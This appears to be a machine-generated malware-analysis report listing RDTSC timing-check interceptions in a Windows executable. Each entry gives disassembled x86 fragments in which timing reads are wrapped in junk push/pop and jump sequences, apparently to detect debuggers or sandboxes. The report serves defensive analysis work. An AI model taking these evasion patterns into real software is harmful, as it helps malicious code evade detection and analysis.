Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C926B second address: 13C9271 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9271 second address: 13C9275 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9275 second address: 13C9279 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9403 second address: 13C9415 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9415 second address: 13C9419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9419 second address: 13C941D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0EB6 second address: 13C0EC0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0EC0 second address: 13C0EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0EC4 second address: 13C0EE3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F6AC4F6947Bh 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 push eax 0x00000014 pop eax 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0EE3 second address: 13C0EF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 js 00007F6AC4F647E8h 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C0EF0 second address: 13C0F08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jmp 00007F6AC4F69481h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FD6D second address: 139FD8F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007F6AC4F647F2h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d je 00007F6AC4F647ECh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FD8F second address: 139FDA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F6AC4F69476h 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139FDA0 second address: 139FDA4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9537 second address: 13C953B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C953B second address: 13C9541 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13C9B62 second address: 13C9B7D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69487h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CEC13 second address: 13CEC34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F6AC4F647F3h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CEC34 second address: 13CEC38 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF398 second address: 13CF39C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF39C second address: 13CF406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 pushad 0x00000009 push edi 0x0000000a jmp 00007F6AC4F69483h 0x0000000f pop edi 0x00000010 jmp 00007F6AC4F69484h 0x00000015 popad 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a push eax 0x0000001b jmp 00007F6AC4F69481h 0x00000020 pop eax 0x00000021 mov eax, dword ptr [eax] 0x00000023 push eax 0x00000024 push edx 0x00000025 jng 00007F6AC4F6948Ch 0x0000002b jmp 00007F6AC4F69486h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF406 second address: 13CF428 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jbe 00007F6AC4F647E6h 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13CF428 second address: 13CF42D instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139ADDB second address: 139ADDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D72DF second address: 13D72F7 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6AC4F6947Ah 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jg 00007F6AC4F694BEh 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D72F7 second address: 13D7312 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6AC4F647F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7312 second address: 13D7336 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F6AC4F69476h 0x00000008 jmp 00007F6AC4F69485h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7483 second address: 13D748A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7A9D second address: 13D7AA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D7AA1 second address: 13D7ADC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jne 00007F6AC4F64812h 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9D3C second address: 13D9D40 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13D9FA3 second address: 13D9FA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA070 second address: 13DA074 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA074 second address: 13DA07A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA07A second address: 13DA097 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F6AC4F6947Eh 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA097 second address: 13DA09D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA6DC second address: 13DA6E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA829 second address: 13DA833 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F6AC4F647E6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA833 second address: 13DA846 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 je 00007F6AC4F69484h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DA976 second address: 13DA97D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D889 second address: 138D8A0 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F6AC4F6947Eh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138D8A0 second address: 138D8BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6AC4F647E6h 0x0000000a pop eax 0x0000000b jmp 00007F6AC4F647EFh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13DD97D second address: 13DD9A9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F6AC4F69482h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F6AC4F6947Ah 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E4BFB second address: 13E4C88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F647F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F6AC4F647EAh 0x0000000f pop eax 0x00000010 popad 0x00000011 nop 0x00000012 push 00000000h 0x00000014 push edx 0x00000015 call 00007F6AC4F647E8h 0x0000001a pop edx 0x0000001b mov dword ptr [esp+04h], edx 0x0000001f add dword ptr [esp+04h], 0000001Ah 0x00000027 inc edx 0x00000028 push edx 0x00000029 ret 0x0000002a pop edx 0x0000002b ret 0x0000002c add bx, 2B5Ch 0x00000031 push 00000000h 0x00000033 mov edi, 69EEBE0Dh 0x00000038 add ebx, dword ptr [ebp+122D394Fh] 0x0000003e push 00000000h 0x00000040 push 00000000h 0x00000042 push ebp 0x00000043 call 00007F6AC4F647E8h 0x00000048 pop ebp 0x00000049 mov dword ptr [esp+04h], ebp 0x0000004d add dword ptr [esp+04h], 0000001Ah 0x00000055 inc ebp 0x00000056 push ebp 0x00000057 ret 0x00000058 pop ebp 0x00000059 ret 0x0000005a push eax 0x0000005b pushad 0x0000005c pushad 0x0000005d push edi 0x0000005e pop edi 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 pushad 0x00000063 push eax 0x00000064 push edx 0x00000065 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5B9B second address: 13E5BA1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E0A4E second address: 13E0A53 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E1526 second address: 13E153E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jc 00007F6AC4F69476h 0x00000009 js 00007F6AC4F69476h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5DDE second address: 13E5DE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6D2B second address: 13E6D63 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69483h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F6AC4F69489h 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E5DE2 second address: 13E5DE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13E6D63 second address: 13E6D69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13ECC40 second address: 13ECC44 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EAD6A second address: 13EAD70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EDBC8 second address: 13EDBCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EDBCE second address: 13EDBD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EDBD3 second address: 13EDBD8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EEB24 second address: 13EEB44 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F6AC4F6947Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jmp 00007F6AC4F6947Bh 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F0C8F second address: 13F0C95 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13EFD36 second address: 13EFD5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F6AC4F69489h 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pushad 0x00000010 popad 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F0C95 second address: 13F0C99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3D0A second address: 13F3D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jne 00007F6AC4F6948Bh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F1F86 second address: 13F1F8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3D2A second address: 13F3D4E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6AC4F69486h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F6AC4F69478h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F1F8B second address: 13F1F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pushad 0x0000000e popad 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F3D4E second address: 13F3D5A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6AC4F6947Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F1F9B second address: 13F1FA0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F42D6 second address: 13F42E8 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F42E8 second address: 13F42EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F42EE second address: 13F431A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 ja 00007F6AC4F6947Eh 0x0000000f push 00000000h 0x00000011 xor edi, dword ptr [ebp+122D2343h] 0x00000017 push 00000000h 0x00000019 mov dword ptr [ebp+1247436Dh], esi 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F431A second address: 13F432D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F71E9 second address: 13F71ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F71ED second address: 13F71F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F71F3 second address: 13F71F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4436 second address: 13F44D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F6AC4F647E6h 0x0000000a popad 0x0000000b pushad 0x0000000c jc 00007F6AC4F647E6h 0x00000012 js 00007F6AC4F647E6h 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b jnc 00007F6AC4F647F0h 0x00000021 nop 0x00000022 or dword ptr [ebp+122D20F2h], edi 0x00000028 mov edi, 7E287BA5h 0x0000002d push dword ptr fs:[00000000h] 0x00000034 movzx edi, cx 0x00000037 add di, 15EDh 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 push 00000000h 0x00000045 push edx 0x00000046 call 00007F6AC4F647E8h 0x0000004b pop edx 0x0000004c mov dword ptr [esp+04h], edx 0x00000050 add dword ptr [esp+04h], 00000014h 0x00000058 inc edx 0x00000059 push edx 0x0000005a ret 0x0000005b pop edx 0x0000005c ret 0x0000005d and ebx, dword ptr [ebp+122D2A34h] 0x00000063 mov eax, dword ptr [ebp+122D096Dh] 0x00000069 pushad 0x0000006a sub dword ptr [ebp+122D233Fh], edx 0x00000070 mov bx, di 0x00000073 popad 0x00000074 push FFFFFFFFh 0x00000076 jc 00007F6AC4F647EBh 0x0000007c adc di, 506Fh 0x00000081 push eax 0x00000082 jnl 00007F6AC4F647E6h 0x00000088 pop ebx 0x00000089 nop 0x0000008a push eax 0x0000008b push edx 0x0000008c push eax 0x0000008d push edx 0x0000008e jno 00007F6AC4F647E6h 0x00000094 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F44D6 second address: 13F44E0 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6AC4F69476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F44E0 second address: 13F4500 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b js 00007F6AC4F647F5h 0x00000011 jmp 00007F6AC4F647EFh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F4500 second address: 13F4506 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13F545B second address: 13F545F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCF95 second address: 13FCF99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FCF99 second address: 13FCF9F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFB1F second address: 13FFB27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13FFB27 second address: 13FFB57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F6AC4F647E6h 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007F6AC4F647FAh 0x00000014 jp 00007F6AC4F647E8h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C850 second address: 139C85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F6AC4F69476h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C85C second address: 139C865 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C865 second address: 139C869 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C869 second address: 139C86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C86F second address: 139C895 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ebx 0x00000008 jns 00007F6AC4F69476h 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F6AC4F69485h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C895 second address: 139C899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C899 second address: 139C8A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402D3B second address: 1402D40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1402D40 second address: 1402D58 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6AC4F69484h 0x00000009 rdtsc
